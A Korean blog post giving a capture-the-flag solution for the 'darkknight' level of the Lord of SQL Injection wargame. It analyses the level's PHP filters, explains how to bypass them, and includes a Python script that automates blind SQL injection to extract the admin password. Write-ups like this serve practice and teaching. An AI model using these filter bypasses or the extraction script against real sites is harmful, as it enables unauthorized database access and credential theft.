Gae Ko's Blog

los : darkknight 본문

웹해킹 /[los] Lord of SQL

los : darkknight

Gae Ko 2017. 8. 17. 06:35


[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB와 연결하기 위한 코드 


  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 

↑preg_match를 통해 필터링


  $query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>";

↑쿼리실행


  $_GET[pw] = addslashes($_GET[pw]); 

↑addslashes함수 작동


  $query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 

↑진짜 쿼리 실행


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 

↑문제의 포인트



[내 풀이]


코드를 보니 맨 마지막에 GET방식으로 입력받은 pw값과 'admin'의 pw값이 동일해야 문제가 해결된다는데 

이를 통해 이 문제는 Blind SQL injection 문제임을 알 수 있다.



preg_match를 통한 필터링부분을 보면 

prob 와 _ 와 . 와 ( 와 ) 와 싱글쿼터 그리고 substr함수와 ascii함수와 등호가 들어간 no의 입력값은 필터링된다.

그리고 싱글쿼터가 들어간 pw의 입력값이 필터링된다.


즉 괄호대신 %28과 %29 을

등호를 사용하는 대신 a in (b) 방법을 사용하고 

싱글쿼터를 이용해서 입력값을 넣는 방법 대신 문자열의 아스키코드를 사용해서 값을 넘긴다.




일단 Blind SQL injection 문제 기본적인 방법처럼 

length함수를 이용해 id='admin'인 pw의 길이를 구하고 

subsrt함수를 사용는 방법 대신 right 함수와 left함수를 이용해 pw의 정확한 값을 알아낸다.

그리고 ascii함수를 사용하지 않고 char함수를 이용하면 된다.


일단 한번 pw의 길이를 구해보았는데, 

처음 실행쿼리를 보았을 때 and no= 앞까진 false 이므로 and부터 생각하면 되는데 

no 조건 뒤에 id='admin' and length(pw)=8# 라는 조건을 붙이고 싶은데 admin의 정확한 no값을 모르니까 no에 아무런 값을 넣어주고 or 을 이용해 묶어준다.

그렇게 해주어서 하나씩 숫자를 넣어주면 


 ▲ 위처럼 pw의 길이가 8임을 알 수 있다.


이제 pw의 정확한 값을 위와 같은 방법으로 db에 접근하여 알아내면 된다.

이처럼 손으로 하나하나 하기 어렵기 때문에 los : golem문제에서 사용한 자동화툴을 이용하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib2, urllib, requests, time
 
flag = ''
length= 0
 
session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0")
 
# find the length of PW 
for i in range(020):
    try:
        r = requests.post("https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id in %280x61646d696e%29 and length%28pw%29 in %28"+str(i)+"%29%23", cookies=session)
    except:
        print "exception"
        continue
    if 'Hello admin' in r.text: #true
        length = i
        break
 
print "[+]  Length of admin pw : " + str(length)
 
for j in range(1, length+1):
    for i in range(48126):
        try:
            r = requests.post("https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id in %280x61646d696e%29 and right%28left%28pw,"+str(j)+"%29,1%29 in %28char%28"+ str(i)+"%29%29%23 ", cookies=session)
        except:
            print "exception"
            continue
        if 'Hello admin' in r.text:
            flag = flag + chr(i)
            print "[+] finding pw : " + flag
            break
        time.sleep(0.1)
print "[+] pw of admin : " + flag                                   
 
cs

이 코드를 실행해보면 



결론 : id가 'admin'인 pw은 1c62ba6f 



'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : giant  (0) 2017.08.17
los : bugbear  (0) 2017.08.17
los : golem  (0) 2017.08.17
los : skeleton  (0) 2017.08.17
los : vampire  (0) 2017.08.17